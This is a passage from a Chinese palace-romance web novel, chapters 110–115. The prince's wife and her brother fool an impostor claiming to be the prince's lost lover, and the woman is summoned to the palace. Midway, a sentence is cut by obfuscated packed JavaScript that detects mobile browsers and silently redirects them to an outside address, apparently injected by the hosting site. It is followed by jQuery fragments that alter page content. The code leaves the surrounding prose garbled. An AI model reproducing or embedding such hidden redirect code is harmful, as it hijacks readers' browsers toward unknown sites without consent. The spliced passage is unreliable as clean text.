顾思沫松开他腰身,在他胸前捶了一下,哭笑不得地道,“越说越离谱了!” 夜时竣抱着她像摇孩子一般摇晃,没脸没皮地道,“反正我不管,你这辈子、下辈子、下下辈子都是我的人,你去哪都得带上我!” 顾思沫让他晃得‘咯咯’直笑。 隔壁雅室里—— 连着三日,夜时舒床都没下,更别说出门了。 偏偏某王爷初尝情味,馋她馋得欲罢不能,这三日那真叫一个没羞没臊。 要不是承王府收到魏家的请柬,夜时舒都不知自己何时能看到外面的太阳。 而尉迟凌为了让她‘乖乖就范’,温存间会主动把外面的消息说给她听。 这其中就包括温氏要夜庚新添妆的事。 还有太子放出消息,要携骆良娣去魏家观礼。 以及九姑在将军府的事—— “自从我娘去世后,我爹就一直孤寡着。小时候我们不懂这些,成人以后才发觉他的不易。这十多年,足以证明他对我娘的用情和真心,所以我和大哥、二哥都不反对他续弦。” 尉迟凌听她倾诉着,一手搂着她,一手作梳抚顺她身后的发丝。 夜时舒看着他眉眼那蠢蠢欲动的炙热气息,脸颊不由得飘红,赶忙推开他坐起身,“赶紧收拾,回府!” 尉迟凌也坐起,但下一刻又将她搂回怀中,埋首在她鹅颈中,一边亲吻一边低喃,“还想要,怎办?” 夜时舒一脸黑线,“……” “王爷!”门外突然传来文岩的声音。 尉迟凌不舍地从夜时舒身上抬起头,不耐地冲门外恼道,“何事?” “倪筱死而复生了!” 闻言,夜时舒瞬间皱起眉。 什么叫死而复生? 尉迟凌一张俊脸瞬间冷若冰霜,方才还溢满情欲的双眸也同时凌厉如剑。 他还未动,夜时舒便逃出他怀抱,开始往身上套衣裳。 尉迟凌盯着她动作,不解地问道,“你急什么?” 他已经如实向她交代了有关‘他与倪筱’的传闻真相,难道她并未相信? “我能不急吗?人家‘死而复生’,肯定是回来跟我抢男人的,我得去看看对方有几斤几两啊!” “……!”尉迟凌嘴角狠狠一抽。 当他们夫妻走出紫琼山庄时,好巧不巧地,夜时竣和顾思沫正往山下来—— “小妹!”夜时竣立马飞奔到他们跟前,先是盯着夜时舒上下打量,接着有些郁闷地质问某妹夫,“不是说我小妹染了风寒,你带她回府养病了吗?” 夜时舒那叫一个窘…… 偏偏某妹夫端得一本正经,回道,“风寒好了,本王又带舒儿出来散散心。” 夜时竣一脸黑气,“王爷,你自己信吗?” 夜时舒赶紧安抚他,“二哥……那啥,前两日我身子是有些抱恙,王爷他是怕你们玩得不够尽兴,所以才说我们回府了。” 顾思沫上前,拉了拉夜时竣的衣袖,不断地给他使眼色,“时竣,天色不早了,有何话回去再说。” 夜时竣又瞧了瞧自家妹子的气色,红润饱满,光彩夺人,虽不像是病愈的样子,但也不像是有病疾的。 只是,他眸光突然间瞥到夜时舒脖颈上,看到一处深红色的痕迹,他忍不住惊呼,“小妹,你脖子怎么了?被什么给咬的?” 夜时舒顺着他视线抬手摸脖子,反应过来后,整张脸瞬间红得跟猴屁股似的。 这叫她如何解释…… 不! 解不解释的不重要的,最重要的是,她二哥竟然不知道这种痕迹的来历! 她下意识地朝顾思沫看去,满眼都是不可思议。 不会吧,她二哥和二嫂竟然也没圆房? 在她别有深意地注视下,顾思沫也忍不住红了脸,赶紧拉着夜时竣往马车去。 “诶……芯儿,你干什么?我还没问清楚呢!” “问什么问?想讨打是不是?” “讨什么打?你没看到小妹脖子上的伤痕吗?也不知道是什么东西咬的,总得问清楚,下次逮着了,非弄死不可!” “闭嘴!”顾思沫拖拉着他快速钻进马车。 不远处,某爷黑沉着脸,咬牙切齿地目送他们离去—— 夜时舒捂着嘴,想放声笑又不敢,不得已她只好假装嗔怪,“哼!都是你!” 尉迟凌捏拳,“……” 他那二舅哥当真是个人才! …… 承王府。 一娇柔女子坐在厅堂里,时不时朝厅堂外张望一眼,似期待什么,但又难掩紧张不安。 “倪筱姑娘,王爷回来了!”侍卫突然进来向她传话。 女子激动地起身,快速朝厅门外去。 然而,看着两男两女朝她而来,她不自然地僵住,目光快速在两个男人身上辗转打量。 最终,她朝快了其他三人一步的男人飞奔而去—— “王爷……我好想你……” 第111章 以假制假 在场的人一致把女子望着。 特别是被她抱着的夜时竣,俊脸上是大写的‘尴尬’! 在回来的路上,他家小妹突然把他和顾思沫叫住,然后告诉了他们有关承王与倪筱的传闻。 夜时竣这才知道,原来传闻中承王妹夫的心上人是个细作,而且早就被承王妹夫亲自处决。那些为情所困、为救倪筱而重伤的传闻全是承王这个妹夫自编自演出来的。 而今倪筱突然现身…… 毫无疑问,这就是个假的! 某些人想利用那个传言,弄个假倪筱来与承王重逢,从而离间承王和他小妹的夫妻之情! 他听完这些事后,很是气愤,还不等自家小妹开口他便要跟着来承王府,想看看这假倪筱究竟是个什么玩意儿。 谁知道,这假倪筱假得如此离谱,居然连人都不识…… “王爷,我是倪筱啊,您不记得那个在军营中日日夜夜陪伴您的筱儿了吗?”女子抬起头,望着他尴尬的脸,以为他是不敢置信自己的出现,于是更加伤怀地解释道,“当初筱儿被人虏去,还以为此生再无法与您相见,没想到筱儿福大命大,竟会被敌军的仇敌所救。只是筱儿身负重伤,没能及时去寻您,如今伤势大愈,这才来与您重逢。王爷,筱儿太想您了,这几百个日夜,筱儿每每想到您都是以泪洗面……呜呜呜……” 说到后面,她泣不成声,仿佛要将这几百个日夜的苦难都尽数发泄出来。 然而,站在夜时竣身后的尉迟凌、夜时舒、顾思沫、以及一旁的文墨和文轩,全都憋着不同程度的笑。 只是这笑究竟几个意思,那就不得而知了。 夜时舒还暗戳戳地给尉迟凌眨了一下眼,方才他们四个一同进来,但进了内院后,她突然拉了尉迟凌一把,让他脚步慢些。 而他脚步一慢,夜时竣便走在了前面。 试问,与承王一同现身,在没有比承王身份更尊贵的人时,谁敢走在承王前面? 那倪筱瞧着两个男人出现,一个在后,且低垂着眉眼,另一个则是昂首阔步、气势凛凛。 最重要的是夜时竣容貌也俊俏。 如果没见过承王,只怕任谁都要以为他就是! 夜时竣当然也明白她认错了人,特别是听着女人肺腑至深的话语,他都想捧腹大笑了。 哪个蠢货找来的傻子,连承王都不识,居然也敢来行骗? 行骗就算了,还把他当成承王! “咳咳!”他将笑意狠狠压下去,拉开女子,握着她双肩,仿佛才回过神般激动地道,“筱儿,真的是你?真的是你!我没想到你还活着!太好了,你还活着,真是太好了!” “王爷,是我,是我!”女子流着泪不停点头。 “快让我好好看看你!”夜时竣说着话,抓着她双肩的双手强制让她转了两圈,嘴里高兴地道,“你没事真是太好了!我的筱儿啊,你真的回来了!” 两圈快速的转动,让女子身子都险些站不稳。 夜时竣不等她说话,赶忙学着尉迟凌的口吻朝文岩和文墨吩咐,“你们两个,快给筱儿准备院子!记住,要最宽敞、景色最好的院子!” 文岩和文墨低着头应是。 可二人谁都没离开,暗中你推我、我推你,都想留下来看这出绝世好戏! “王爷,她是谁啊?”夜时舒上前,轻挽住夜时竣的胳膊,一脸吃味儿地盯着女子。 不得不说,这‘倪筱’长得还是很有魅力的。 容貌清纯,一副我见犹怜的感觉,让人很有疼惜的欲望。这样一个楚楚动人的女子,偏偏还拥有一副前凸后翘的身段,举手投足间充满了勾魂的气息。 背后的人太会挑人了! 这样的女子,别说迷住男人了,就连女人都会忍不住多看几眼。 “王爷,这位是?”倪筱看着她对夜时竣亲昵的动作,也向夜时竣询问。 “这是王妃。”夜时舒说完,似厌恶般甩开夜时舒的手,然后单手搂着倪筱的肩,很是温柔地哄道,“筱儿别介意,这是我父皇给我赐的婚,我是迫不得己才娶她的。我心里可是只有你一人,哪怕就是失去你的日子,我也是为你守身如玉的。” 说完,他还恶狠狠地瞪了夜时舒一眼,“你给本王回房去,别在这里碍筱儿的眼!还有,以后要好好待筱儿,要是让本王知道你欺负筱儿,本王定叫你好看!” 夜时舒一脸委屈,“我……” 然而,不给她说话的机会,夜时竣便搂着倪筱离开了。 同时还不耐烦地向文岩和文墨喝道,“你们还杵着作甚?敢怠慢筱儿,当心军法处置!” 文岩和文墨嘴上毕恭毕敬地应着,也快速跟了上去,但在他们背后,二人憋笑憋得脸都变形了。 夜时舒目送他们远去,没忘记身侧的二嫂,赶紧安抚她,“二嫂,这都是我的主意,你别同二哥较真……” “哈哈……”顾思沫掩嘴笑说道,“我较什么真?是那女的当真了!” 想到什么,她收了笑声,小心翼翼地看向尉迟凌。 她只担心王爷会怪罪时竣…… 尉迟凌压下唇角的笑意,低沉道,“二舅哥是个唱戏的人才。” 得亏他有这么一个二舅哥,不然让他去应付那种女人,他怕是会直接拧断那女人的脖子…… 随后,他牵着夜时舒的手,回了他们的新房。 “你急着回房做什么?就这么把那个女人丢给我二哥,你也不怕他把事情搞砸啊?”夜时舒不满他把自己拉回房。 “有什么可怕的?大不了将其杀了便是!”尉迟凌将她圈在怀中,嗅着她耳鬓馨香的气息,深眸中又有了火苗子。 耳垂被他吮咬着,就跟着火似的烫。夜时舒忍不住缩脖子想躲,可那大手硬是不松丝毫。 想起那三天三夜的‘荒唐无度’,她是真有些怕了,没好气地拍他手背,“下次别那么大手劲,一身痛都是被你捏的!” 尉迟凌罕见地没有不满,还贴着她耳朵轻笑,“是,为夫以后会拿捏好分寸。” 夜时舒在他胸前捶了一下。 他初尝情欲,她又何尝不是。虽然一开始不适应,但后来她也沉浸在其中不可自拔。特别是圆房以后,心中对彼此的悸动更深了。 不过,现下府中来了那么个女人,她没心思与他缠绵,“王爷,这假的敢如此明目张胆地出现,你打算如何应对?总不能让我二哥一直假扮你的身份吧?” “舒儿有什么好主意?”尉迟凌抵着她额头,黑眸中带着一丝期待。 “做什么都行吗?”夜时舒抱住他腰身,试探地问他,“我想带她进宫,王爷意下如何?” 尉迟凌眸光微闪,几乎是瞬间就明白了她的意思。 …… 在文岩和文墨配合下,夜时竣带着倪筱去了一处有着亭台楼阁的院子。 当着倪筱的面,夜时竣有模有样地下令,“都给我听好了,让人即刻去给筱儿赶制行头,越贵重的越好!” “本王记得王妃的嫁妆里有好几匹珍贵的云锦,去告诉王妃,让她送给筱儿做见面礼!” “还有这院里的家什,凡是筱儿不喜欢的,通通撤下置办新的!” “府里婢女不够,立即去买十个侍女,以后专门伺候筱儿!别忘了,要挑手脚麻利的!” 文岩和文墨恭敬无比地应声,“是!” 夜时竣随即又对倪筱温柔说道,“筱儿,置办你需要的东西需要一些时日,你且先委屈着。后续需要什么尽管告诉他们,若他们敢有半点不从,随你处置!” 面对他如此的重视,倪筱心中都快美出花了。 传闻承王对‘她’用情至深,没想到竟是真的! 不,承王对‘她’的在意甚至比传闻还甚! “王爷,筱儿身份低微,您这样待筱儿,筱儿惶恐。”她面上全是自卑和不安,“何况您现在已经有了王妃,筱儿更是不敢奢求您的宠爱。” 夜时竣立马板起脸,冷哼,“怕什么?这承王府是本王的地盘,本王爱宠谁便宠谁,谁敢有半句怨言?就算是王妃,她也只是父皇赐婚给本王的,如何能和你比?以后见着她,不用给她面子,她要是敢怠慢你,本王定亲自教训她!” 第112章 王妃禁足 倪筱感动地贴到他身上,“王爷,筱儿何其有幸能被您如此疼爱?” 夜时竣不着痕迹地推开她,体贴说道,“筱儿,等一下有人会送热汤和吃食过来,你用完且先休息,本王去安排别的事,晚些再来看你。” 倪筱懂事地应道,“王爷,您去忙吧,筱儿会照顾好自己的。” 夜时舒离开前还不忘严厉叮嘱文岩和文墨,“你们都给本王听着,谁要是敢怠慢本王的筱儿,本王绝不轻饶!” “是!”文岩和文墨再次恭敬地应声。 …… 夜时竣从倪筱这边离开后,直奔尉迟凌和夜时舒的新房。 “我的老天爷啊,这辈子都没如此恶心过!到底是哪个天杀的找了这么一个蠢货来丢人现眼?” “哈哈……”夜时舒除了笑还是笑。 夜时竣接着又对尉迟凌竖起大拇指,“王爷,我是真心佩服你!你散播的那个传闻真是把所有人都骗住了!” 尉迟凌勾着薄唇,道,“好好陪她作戏,回头少不了你的好处。” 随后夜时舒让人把顾思沫叫过来,四个人在房里说了许久的话。 离开他们的新房后。 夜时竣和顾思沫回了他们之前住的院子。 夜时竣第一件事就是让人打水洗澡。 洗澡的时候还边洗边骂,“那女人一身骚味,真是快把人呕死了!” 隔着屏风,顾思沫一边笑一边打趣他,“我都没说什么,你急什么?” 夜时竣把身上仔仔细细搓了一遍,然后腰间围着布巾出了屏风,一把将顾思沫抱住,大口大口吸着她身上的气息,“还是我芯儿身上的味道最好闻!” 顾思沫羞窘地只想蒙住自己的眼睛,“你、你干什么?快把衣裳穿上!” 夜时竣非但没放手,还抱起她飞奔上了床。 “我今儿被人轻薄了,芯儿必须安慰我,不然半夜铁定做噩梦!” “唔……” 被他压着亲吻,顾思沫并没有挣扎,反而是主动地环抱住他精壮的身子。 突然,门外传来秋菊的声音,“二公子,那位倪筱姑娘去新房找王妃了!” 夜时竣一听,不得不坐起身。 看他那欲求不满地样子,顾思沫笑着下床给他拿衣物,“你现在是王爷的替身,得好好表现。把这倪筱骗够了,才能让她进宫时在宫里出尽丑态。现在幕后的人有多得意,那后面便会有多恼羞成怒。” 穿戴好后,夜时竣又抱住她,‘吧吧’在她红唇上亲了两下,“刚才没亲够,晚上咱们继续!” 顾思沫脸蛋一下子红透了。 …… 再说新房这边。 夜时舒早就想过,倪筱一定会来找自己。 可她高估了对方的定力,没想到对方如此沉不住气,才第一天就来她面前宣誓自己在承王心中的分量。 “王妃生得真是漂亮。”敷衍地行过礼后,倪筱先是夸赞,但下一句话锋就变了,“可惜啊,再漂亮也没用,纵是别人觉得你和王爷无比般配,可你也只能占据王妃的身份,占据不了王爷的心。” 夜时舒酝酿着自己的情绪,毕竟要演好一个不受宠的正妻,于她而言还是有难度的。 她绷着脸,冷傲地瞪着倪筱,不服气地道,“就算你占了王爷的心又如何,我可是皇上钦赐的承王妃!你一个没名没分的女人,还妄想取代我不成?” 倪筱也骄傲的扬起下巴,站着的她比坐着的夜时舒高,眼神自然无比地睥睨着夜时舒,“我来不是看你逞强的,只是好意提醒你,就算之前王爷看重你,那也不过是看重你的家世,顺便把你当成我的替身排解寂寞罢了。如今我回到王爷身边,我希望你能有自知之明,别再妄想王爷能多看你一眼。” 夜时舒气恼地拍桌,“放肆!我乃王爷正妃,你敢如此同我说话?” 倪筱‘啊’的一声惊叫,然后像是被一股无形的力量推倒,猛地跌倒在地。 夜时竣跨进房里时,便看到这一幕。 倪筱泪眼汪汪地望着他,“王爷……王妃她……她……” 夜时竣差点没绷住。 哪有如此贱的女人啊! 可再贱,他还得强忍笑意,冲座上的夜时舒怒斥,“夜时舒,你对筱儿做了什么?” 夜时舒也委屈起来,指着地上的倪筱告状,“王爷,是她自己摔的,妾身可什么都没做啊!” 夜时竣哼道,“本王看你是不满筱儿出现,所以特意把她叫来这里想给她立威!本王说了,筱儿是本王最在乎的人,你若胆敢欺负筱儿,本王绝对不会让你好过!” 他蹲下身把倪筱扶了起来,然后又冲夜时舒说道,“从今日起,你给本王好好待在房中,没有本王的允许,哪里也不许去!再让本王发现你欺负筱儿,本王就把你送回将军府!” 发下狠话后,他搂着倪筱离开新房,边走边温柔安慰,“筱儿,可有伤到哪里?走,本王送你回去休息。以后这地方,没有本王陪着,谁让你来你都不要听,知道吗?” 夜时舒站到门口,望着他们的背影喊道,“王爷,我什么都没做错,你凭什么罚我禁足?我不服、不服……” 她是扯着嗓音喊的,像是饱受了委屈般,听得尉迟凌从隔壁走出来,那真叫一个哭笑不得。 都说三人一台戏,可他们兄妹二人就能撑起一台戏…… 夜时舒立马收起哭腔投进他怀中,笑着说道,“明日魏永淮迎娶游清柔,不是给你送了请柬吗,你赶紧把我禁足的消息散播出去,明日好让某些人高兴高兴。” 第113章 承王负心 澜贵妃和太子搞出这么个女人,不是一般的煞费苦心,不让他们高兴高兴,那也太对不住他们的良苦用心了。 说实话,假倪筱的出现是尉迟凌都没有想到的。 更让他没想到的是,背后那两人竟会按照传闻编排戏份,再制造一个假的倪筱出来与他演情真意切的戏码。 最最让他没想到的是,他的二舅哥替他接了这一场大戏,原本该是主角色的他变成了看热闹的戏外人。 别说他女人乐在其中,就连他都暗藏雀跃,无比期待,在某一刻拆穿假倪筱身份和动机时,宫中那两人会是如何反应…… 翌日。 临到吉时,尉迟凌带着请柬到了魏府。 他的出现,比新人的花轿还吸引人,无人不盯着他健愈的双腿和容貌猛瞧,毕竟他们也只是听说承王好了,但健愈后的承王并未在大庭广众之下现过身,今日他们也才有机会一睹实况。 骆丽娴作为魏家的义女,今日一早就抵达了魏府。 还是太子尉迟睿亲自陪同她来的。 而太子莅临魏府,太子党的那帮朝臣也纷纷赏脸来魏府观礼。 魏广征和葛氏带着府中下人前来接迎他。 在众人行过礼后,尉迟睿上前,笑着打趣他,“二弟,听说你的心上人回来了?” 尉迟凌薄唇浅勾,点了点头。 尉迟睿‘哈哈’大笑,“那真是可喜可贺啊!你曾经为了她九死一生,差点还一蹶不振,如今你健愈不说,佳人还重返身边,本宫真是替你高兴!” 尉迟凌似不好意思地扫了一眼在场瞧热闹的宾客,压低了几分嗓音,道,“皇兄就莫要取笑了,毕竟筱儿她还没有名分,现在传出去,恐让人笑话。” 尉迟睿点了点头,一副体贴理解的模样。他也刻意压低了几分嗓音,问道,“如今你重获佳人,弟妹没意见吧?弟妹可是夜将军的掌上明珠,若是让夜将军知道你把别的女子留在府中,恐对你心生不满哦。” 闻言,尉迟凌突然沉了脸,“整个大邺国谁不知道我对筱儿的心意,皇兄提夜家作甚,是想看臣弟笑话吗?” 尉迟睿见他一下子就翻脸,‘呵呵’笑道,“二弟莫生气,本宫只是关心你,没别的意思。再说了,这事早晚要让父皇和贵妃娘娘知道的,你如此遮遮掩掩实在没必要。不过如果你担心父皇和贵妃娘娘以及夜将军那里不好解释,本宫可以帮你说服他们。” 尉迟凌沉着脸道,“不必皇兄操心,我自会向父皇和母妃请旨,给筱儿名正言顺的身份。至于将军府那边,这是臣弟内宅的事,他将军府无权干涉。” 他再扫了一圈窃窃私语的满堂宾客后,用眼神示意文岩和文墨把贺礼献上。 然后对魏广征说道,“本王府中还有事,魏大人就不必招待了。” 说完,他带着文岩和文墨头也不回地离开了魏府。 目送他离开,在场宾客的议论声再也不掩饰了—— “没想到承王竟真的钟情于一个来历不明的女子!” “是啊,听说昨日那女子一到承王府,承王就把王妃给禁足了!” “之前承王妃传出死讯,承王执意要娶承王妃的牌位,还以为承王对承王妃有多上心,没想到竟是我们想岔了!” “致和将军府风风光光嫁女,更是没想到承王会这般善变吧?这下可有好戏看了!” 听着宾客们的话语,尉迟睿笑得双眼都成了缝。 就尉迟凌今日对夜时舒的态度,夜家那父子三人岂能饶他? 他们就等着看好戏吧! …… 将军府。 尉迟睿料想的并没错,一大早听到外面的传闻,说承王旧爱入了王府,自己的宝贝女儿因为对那女子不满,被承王禁了足,夜庚新肺都快气炸了! “好个承王,我家舒儿过门才不到一月,竟被他如此辜负!他是当我们夜家死绝了,无人替舒儿撑腰了吗?” “将军,如果我说那些是谣言,您会信吗?”九姑忍不住开口。 “谣言?外面传得有鼻子有眼的,你告诉我是谣言?”夜庚新恼怒地瞪着她,“都说无风不起浪,如果没有旁的女人,怎么会有谣言传出?” 说完,他愤袖绕过书桌,激动地往门外奔去,“他若真为了别的女人苛待我家舒儿,大不了我找皇上和离!我家舒儿就算一辈子不嫁,也绝不允许被人如此欺辱!” “将军……”九姑伸手想拦住他。 但深吸一口气后,她把手放下。 听说自家老爹跑承王府去了,夜时珽赶来主院,正巧碰到收拾好包袱要离开的九姑。 “九姑,你这是?” “大公子,我该回王府了。”九姑朝他笑了笑。 “九姑,你怎不拦着我爹?你是知道真相的,对吗?为何你不同我爹解释?”夜时珽不解地问她。 连他都知道承王与倪筱的事是假的,九姑怎可能不知真相! 九姑不自然地移开目光,“那个……将军他不听我的。” 夜时珽无语,“……” 承王府。 夜庚新一到,铁青着的他直奔新房。 看到女儿的瞬间,他二话不说,抓住女儿的手腕拖着人就走,“舒儿,爹接你回府!这承王妃咱不做了!” “爹……” 第114章 宣她进宫 “我不管你多喜欢他,反正今日你必须跟我回将军府!”夜庚新一边拽着她往外走一边痛骂。 “爹爹!”夜时舒见他是真发了气性,不得不使出劲儿把他往回拖。 “你这是做什么?人家一言不发就把女人带回府了,你别告诉我你还想跟他过!”夜庚新转身瞪着女儿,气不打一出来! “爹,您急着生气,先听我说完行吗?”夜时舒赶紧把他拉进花厅。 但夜庚新气得吹胡子瞪眼,坐也不坐,虎着脸说道,“舒儿,有些话爹不能明着说,特别是承王这样的身份,我们更是无权要求他只有你一个女人。但我们不敢要求,不代表我们没要求,忠于你一人,必须是他的态度!” “即便将来皇上还要为他指婚,那他也必须尊重你的决定!而不是像现在这般,一声不吭就把别的女人带回府,还为了别的女人欺压你!” “舒儿,爹也是男人,爹了解世间男人的心思!如果他真心待你,便会自发地对你从一而终,哪怕刀架在脖子上他也不会多看别的女人一眼!如果他朝三暮四,那他就是花言巧语说到烂嘴那也是虚情假意!” 看着他一脸恨铁不成钢的样子,夜时舒动容的红了眼眶。 见她要哭,夜庚新拍着她肩膀,心疼道,“舒儿,别怕,他就算是皇子,爹也有办法让你摆脱她。走,先跟爹回家。” 夜时舒忍不住失笑,“爹,您先听我说!不是你听到的那样……” 见她还要为承王说话,夜庚新又忍不住恼怒,“他都这样对你了,你还想袒护他?舒儿,你怎么变得如此无用?想当初,魏永淮和骆丽娴有**时,你是如何做的?为何你能放得下魏永淮,却放不下承王?难道就因为承王长得比魏永淮好看?” “岳父大人这是要拆散我们吗?” 突然,低沉的嗓音从花厅外传来。 夜庚新扭头一看,立马将女儿挡在身后,然后指着踏进花厅的男人,怒斥道,“你还有脸说?为了一个来历不明的女人,你让我女儿禁足,未免欺人太甚!承王,我夜庚新今日明明白白地告诉你,你要找多少女人我们无权过问,但你让我女儿受辱,我便是死也不会答应!” “爹!”夜时舒赶紧从他身后出来,没理会他的瞪视,笑着朝尉迟凌问道,“没喝喜酒就回来了?” 尉迟凌上前,抓着她胳膊便扯进怀里,眼神幽幽地盯着夜庚新,“幸好本王回得早,再晚片刻,怕是媳妇都没了。” “你旧爱回来了,还要什么媳妇?”夜庚新胸膛一起一伏的,恨不得把女儿从他怀里抢出来! “爹,您先听我说……” “说什么说?”夜庚新再一次打断她的话,又指着尉迟凌斥道,“他为了一个没名没分的女人禁你足,分明就是没把你放眼中,更没把我将军府放眼中,你还要帮着他说话,是想把我气死吗?当初你和魏永淮退婚的决心呢,你倒是再拿出来啊!” 尉迟凌脸黑如炭。 他总算知道他那二舅哥的性子像谁了! 当真是父子! 正在这时,顾思沫从外面进来。 见他们剑拔**张的样子,不是脸黑就是青筋卉张,狠狠吓了她一跳,赶忙问道,“爹,您怎么来了?出何事了吗?” “芯儿,你来得正好,赶紧的,把你们小妹带走,这承王府我是片刻都待不下去了!”夜庚新指着女儿朝顾思沫吩咐起来。 “啊?”顾思沫听得一脸懵。 夜时舒干笑着朝她说道,“二嫂,我们放出去的谣言,爹信以为真了!” 顾思沫汗,“……” 夜庚新气头上,没反应过来女儿的话,只当她是要让二嫂做说客,于是气恨地呵斥,“这种事,就算你找你二嫂帮忙说情都没用!” 顾思沫见他气得不轻,吓得不敢再迟疑,赶忙说道,“爹,事情真不是您听到的那样!要不,您随我去飞虹院看看吧,那倪筱听说王爷回府了,立马就跑飞虹院找时竣去了!” 夜庚新没听明白,皱眉问她,“找……找时竣?她找时竣做什么?” 顾思沫扶住他手臂,笑说道,“爹,我带你去,咱们边走边说。一会儿你瞧见了,便什么都明白了。” 夜庚新不知道老二媳妇要做什么,但还是愿意给老二媳妇这个面子。只是,离开时,他还狠狠瞪了尉迟凌一眼。 望着他那气呼呼的背影,夜时舒哭笑不得地道,“只忙着造谣了,忘了提前向爹和大哥打招呼,真是别人还没乱,自个人差点先干上了!” 尉迟凌拉着脸不说话。 夜时舒踮起脚在他脸颊上亲了一下,哄道,“好了,知道你委屈,等爹了解真相后会向你赔不是的。” 尉迟凌搂紧她,薄唇压着她唇瓣,不满地哼道,“他是本王的岳父泰山,一言不合就要拆散我们,他向本王赔不是,本王敢接受?” 夜时舒笑着主动吻他,“那我代他向你赔不是?” 尉迟凌眸色一深,瞬间掌握主动权加深了这个吻,然后抵着她额头哼道,“这样就想哄好本王?哼!晚上给本王等着!” 夜时舒脸颊顿时发烫。 一想到他在那事上的狂热劲儿,她不等晚上,就现在都觉得腿软了。 而飞虹院这边。 承王去魏家参加婚宴的事,文岩和文墨一早就告诉了倪筱。 听闻他提前回府了,倪筱立马跑来找夜时竣。 “王爷,听说你一早就出去,筱儿还以为你会很晚才回来。” 夜时竣一脸的不爽,指着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136932|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外怒道,“本王好心去给魏家长脸,没想到他们竟拿你的事羞辱本王,本王实在听不下去,便提前回来了!那些人,真是气煞本王了!” 倪筱端起他身旁的茶盏递给他,柔声安慰道,“王爷息怒,都是筱儿的错,是筱儿上不得台面,所以才连累王爷被人笑话。” 夜时竣接过茶盏,疼爱地看着她,“筱儿对本王情深意切,他们那些狗眼看人低的东西,如何能明白这些?筱儿,你放心,本王不日便进宫向父皇请旨,让你做本王的侧妃!到时,本王看谁敢再诋毁你半句!” 倪筱身心俱喜,但面上却自卑地道,“王爷,您不必为筱儿着想,筱儿能回到您身边,已是天赐的福气。哪怕没名没分,筱儿也知足了。” 夜时竣不满她的态度,很是坚决地道,“筱儿,你别轻视自己,本王在意的女人,就该有尊贵的身份,谁反对便是与本王作对!虽然本王现在不能休掉夜时舒,但本王向你保证,等你做了本王的侧妃,你在府中的地位绝不会在夜时舒之下!” 在与他们一墙之隔的房间里,听着儿子与陌生女子的对话,夜庚新惊愕得险些掉了下巴。 这叫筱儿的女子一口一个‘王爷’,他家老二一口一个‘本王…… 什么乱七八糟的! 见他深感迷惑,顾思沫小声的向他解释一切。 听完老二媳妇的话,夜庚新又是一脸的不可置信,“这女子竟如此傻?” 顾思沫掩嘴笑道,“也不是她傻,是承王殿下早前散播的‘情史’太真切了,叫有些人深信不疑。” 夜庚新想起先前自己的行为,顿时老脸一尬,“完了,我把王爷误会了!” 顾思沫笑着安慰他,“爹,您别担心,王爷没那么小气。而且您这么一闹,反而更加证实了外面的传闻。” 夜庚新羞愧地不说话了。 事情也如顾思沫所说的那般,夜庚新到承王府这么一闹,何止坊间传得沸沸扬扬,就连宫里都是议论声。 当齐绥把这些传闻禀给尉迟晟听时,尉迟晟忍不住拍案怒道,“承王竟做出如此荒谬之事?” 齐绥安慰他,“皇上息怒,这只不过是外面的谣传而已。承王对承王妃的在意,老奴看得真切,想必承王应该不会为了一个女人那般苛责承王妃。” 尉迟晟沉着脸道,“承王因那女子受伤,又因那女子险些一蹶不振,可见他对那女子是用了真情的。朕倒要看看,到底是怎样的一个女子,竟然能让一向稳重的承王如此痴恋!” 齐绥想起什么,赶忙又禀道,“皇上,贵妃娘娘已经差人去承王府宣那女子进宫了。要不等那女子进宫,您去澜霞宫瞧瞧?” 尉迟晟听闻,随即起身道,“摆驾澜霞宫!” 第115章 亲妹夫啊 澜贵妃要召见倪筱,承王府里的人都不意外。 甚至在宫人踏进承王府大门时,夜时竣就得到了暗示,立马找了借口离开倪筱。 听到宫人宣旨,倪筱一脸受宠若惊,但看了看文岩和文墨,又一脸为难,“我一人进宫多有忐忑,王爷不是刚离开吗,你们快些唤他回来!” 文岩躬着身道,“筱儿姑娘,王爷有紧要事需办,耽搁不得。” “可是宫中我人生地不熟,要是出了岔子该如何是好?”倪筱不悦地道。 “筱儿姑娘放心,属下们陪您进宫。”文墨也躬着身与她说道。 倪筱盯着他们二人,目光转了又转。 这二人是承王的贴身护卫,有他们寸步不离的跟着,也足以证明承王对她的重视。 “行吧,那就你们陪我进宫吧!” “是!” 就这么着,文岩和文墨护着她上了宫里派来的马车。 澜霞宫里的人对他们二人再熟悉不过,瞧着他们对倪筱毕恭毕敬的样子,不用问都能明白,承王对这位倪筱姑娘真是在意得紧! 宫里马车一走,夜时舒和尉迟凌、夜时竣、顾思沫就出现在大门外。 “王爷,确定不多戏耍这女人几日吗?”夜时竣一脸坏笑。 尉迟凌斜眼睇着他,“二舅哥这是作戏上瘾了?还是被她迷住了?” 夜时竣脸上的笑瞬间僵住,紧接着俊脸一黑,下意识地搂住顾思沫的肩,扯着嗓门道,“莫乱开玩笑啊!我可是有媳妇的!而且我媳妇又漂亮又能干,我就是被牛屎蒙了眼,也绝不可能被其他女人迷住!” “噗!”夜时舒忍不住喷笑。 顾思沫在他腰间掐了一把,嗔道,“什么屎不屎的,王爷面前,你能不能文雅些?” 夜时竣拉着脸冷哼,“我本就是个粗人,学哪门子文雅?再说了,我牺牲男色还不是为了他们!” 夜时舒听到他这怨气的话,一时间又尴尬又无措。 确实二哥为了他们夫妻牺牲了许多,她不该笑的…… 只是不等她开口,就听某爷说道,“本王府中有把玉坤剑,是本王皇祖父开疆拓土时命人铸造的,等从宫里回来,便赠给二舅哥吧。” 闻言,夜时竣猛地睁大眼,刚刚还怨气满脸的他瞬间咧大了嘴,“王爷,您说真的?那可是先皇御用的宝剑啊!” 尉迟凌剜了他一眼,随即搂着夜时舒上了马车。 夜时竣‘哈哈’大笑,还搂着顾思沫的肩炫耀道,“芯儿,看到没,这可是亲妹夫啊!” 顾思沫哭笑不得,“……” 澜霞宫。 对于外面的传闻,澜贵妃这两日心情大好。 